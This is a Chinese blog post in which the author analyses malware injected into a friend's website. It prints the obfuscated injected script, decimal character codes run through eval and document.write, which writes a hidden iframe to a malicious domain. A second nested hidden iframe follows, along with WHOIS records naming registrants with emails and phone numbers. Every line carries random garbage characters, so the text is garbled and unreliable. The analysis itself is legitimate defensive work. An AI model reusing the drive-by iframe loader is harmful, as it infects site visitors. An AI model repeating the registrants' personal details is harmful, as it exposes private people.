首发在我的博客里面，
ex)U'.^ ~}s0~j ~ http://www.areway.cn/?p=175 B {lL}"++0 $>=w<=r|; zWf(zxGAz 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
9v7 6A~~ mH!\]fmR~ <script>t=’60,105,102,114,97,109,101,
)|<g\>/ 32,115,114,99,61,104,116,116,112,58,47,47,
10$:^ 102,114,101,101,46,117,45,117,117,117,46,99,
KL8WT 6!RZ 110,47,101,114,114,111,114,46,104,116,109,
YtY.,H; 32,119,105,100,116,104,61,49,48,48,32,104,
W2 9GM -,K 101,105,103,104,116,61,48,62,60,47,105,102,
@D@'S :3 114,97,109,101,62′;
2w /q H4 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
c/`Rv{ *'o mv1|oFVW <script>t=’60,105,102,114,97,109,101,32,115,
Cj# ?Z7}z 114,99,61,104,116,116,112,58,47,47,102,114,
P:c 'W? 101,101,46,117,45,117,117,117,46,99,110,47,
@{x+ln1r 101,114,114,111,114,46,104,116,109,32,119,
;Yn_*M/* 105,100,116,104,61,49,48,48,32,104,101,105,
P !~B07y 103,104,116,61,48,62,60,47,105,102,114,97,
jQ5FvuNOy 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
#5_pE1 document.write(t);</script>
mJS-x-@ [,q^\T <html xmlns=”
%YI !{ http://www.w3.org/1999/xhtml hVu~[ 'Me “>
u 9%AK g}~ <head>
& Ef6' <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
|~YhN'OJ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
6G>bZ+ <title>首页 - 爱生活家庭网
Tg6nb7@P juBzpQYj 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
vz'<i. Yv4 转换字符串后的大概内容是（谁点击后果自付）：
L'}^Av_+ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
mW @Z1Plxs rcG-V f@ 查询玉米u-uuu.cn的详细信息：
[300F=R Domain Name: u-uuu.cn
9XW[NY#)# ROID: 20070901s10001s64972306-cn
fFd"21 > Domain Status: ok
a|@1RH>7H Registrant Organization: 王雷
LrnE6 U9 Registrant Name: 王雷
D }EH9d Administrative Email:
czlovexs@126.com v{TI SgZ Sponsoring Registrar: 北京万网志成科技有限公司
o@:u:n+. Name Server:ns.yovole.com
_tVrLb7`s Name Server:ns1.yovole.com
]=m0@JTbG Registration Date: 2007-09-01 17:54
+ZeK,Y+Xy Expiration Date: 2008-09-01 17:54
5c3& 4,,eR 最后PING了一下地址 都没有什么….
cUZ^,) 8
Z U%_6'5s{^ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
PoRL35 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
M@O<b- <script language=”javascript” src=”
T
eBJ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KS(Ms*k;' >
Zj2tQ}N 这个玉米应该有可能是木马作者的：
QNCG^ub foafau.info的详细信息：
v@
OM Access to INFO WHOIS information is provided to assist persons in
_c6 zzGtH determining the contents of a domain name registration record in the
=s[P =d U Afilias registry database. The data in this record is provided by
{$^Lb4O[V Afilias Limited for informational purposes only, and Afilias does not
/R)(u@jk guarantee its accuracy. This service is intended only for query-based
?[S{kMb2 access. You agree that you will use this data only for lawful purposes
9/L J tM and that, under no circumstances will you use this data to: (a) allow,
g;<_GL enable, or otherwise support the transmission by e-mail, telephone, or
ut;KphvSH facsimile of mass unsolicited, commercial advertising or solicitations
PVUNi: h to entities other than the data recipient’s own existing customers; or
X. <2]V7! (b) enable high volume, automated, electronic processes that send
' $X}' u queries or data to the systems of Registry Operator, a Registrar, or
@)m+b; Afilias except as reasonably necessary to register domain names or
Q-Rt modify existing registrations. All rights reserved. Afilias reserves
)z2hyGX the right to modify these terms at any time. By submitting this query,
[bJAh ` I you agree to abide by this policy.
{t&+abY Domain ID:D22418703-LRMS
p&, 2@(Q Domain Name:FOAFAU.INFO
3W}xYYs] ^ Created On:20-Nov-2007 16:05:42 UTC
#ui7YUR=2 Last Updated On:20-Nov-2007 16:05:44 UTC
] e]l08 Expiration Date:20-Nov-2008 16:05:42 UTC
fIcra Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
X P_ V Status:CLIENT DELETE PROHIBITED
n {r _Xa Status:CLIENT RENEW PROHIBITED
0P6< 4 Status:CLIENT TRANSFER PROHIBITED
e+>& ?
x Status:CLIENT UPDATE PROHIBITED
&fWYQ'\> Status:TRANSFER PROHIBITED
OL)M`eVQ' Registrant ID:GODA-040110615
p(Bn! Registrant Name:liu hong
|p{FSS Registrant Organization:
\ .jT"Z~ Registrant Street1:beijing
&li&P5!i Registrant Street2:
,c'a+NQ_t Registrant Street3:
](H
vx Registrant City:beijing
B%d2 tsDw Registrant State/Province:
R^F\2yth- Registrant Postal Code:100000
W L5!H.q Registrant Country:CN
D^W?~7e ^r Registrant Phone:+86.860108888777
Z]I yj
97 Registrant Phone Ext.:
OM
5h>\9 Registrant FAX:
haMt2S2_B: Registrant FAX Ext.:
JK9}Kb}; Registrant Email:bbbshiji@163.com
YKs^aQm# Admin ID:GODA-240110615
:i ft{XR' Admin Name:liu hong
gA gP(" Admin Organization:
G r?[s'Ze Admin Street1:beijing
Oy/+uw^ Admin Street2:
H Ql_ /:Wx Admin Street3:
#s ' Admin City:beijing
;l 6tZ]-" Admin State/Province:
e'Th[ wJ Admin Postal Code:100000
O%(k$ fvM Admin Country:CN
m]NyEMYg Admin Phone:+86.860108888777
l+1GA0'JP Admin Phone Ext.:
|J#mgA}( Admin FAX:
d^.f B+)A3 Admin FAX Ext.:
(l3P<[[? Admin Email:bbbshiji@163.com
sS|N.2* Billing ID:GODA-340110615
\aG:l.IM0 Billing Name:liu hong
4l*4w x""v Billing Organization:
W8
m*co Billing Street1:beijing
saaN$tU7 Billing Street2:
0jN ?5j Billing Street3:
K q0!.455 Billing City:beijing
c 0%%X!!$ Billing State/Province:
W!BIz&SY:- Billing Postal Code:100000
JH0L^p Billing Country:CN
W} U-u{Z Billing Phone:+86.860108888777
W+0VrH
0F Billing Phone Ext.:
e-#!3j!' Billing FAX:
7}<05 7Xn' Billing FAX Ext.:
s$ 2@ |; Billing Email:bbbshiji@163.com
*r k!`n& Tech ID:GODA-140110615
Mo2b"A;}| Tech Name:liu hong
s) vHLf4 T Tech Organization:
6M `N| % Tech Street1:beijing
Q+\?gU] Tech Street2:
D,r s) Tech Street3:
&L S&O Tech City:beijing
C%csQ m Tech State/Province:
-a[] #v9 Tech Postal Code:100000
v*7l JNN. Tech Country:CN
?Q)z5i'g# Tech Phone:+86.860108888777
eY1$s mh t Tech Phone Ext.:
HwH W i Tech FAX:
5/O;&[l Yy Tech FAX Ext.:
?X.MKNbp Tech Email:bbbshiji@163.com
bvM a|;f1 Name Server:NS27.DOMAINCONTROL.COM
3:h9c O/9 Name Server:NS28.DOMAINCONTROL.COM
-B-nTS` Name Server:
cR1dGNcp/@ Name Server:
yw %5W=< Name Server:
JL4\% Name Server:
Ppzd.=E Name Server:
+89s+4Jn Name Server:
bt,^- gt@ Name Server:
&ns !\! Name Server:
89@e &h* Name Server:
{g>k -. Name Server:
})R8VJ&C/ Name Server:
Y olO-5 -m:i~^
u 接着下载每个文件里面的代码：
d4#Q<!r 一步一步看..
I9`R L Sn 
Oop;Y^gG} 
KGclo-, 
38%xB<Y 
E Cx_
[|3{ 
2>3gC_^go 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
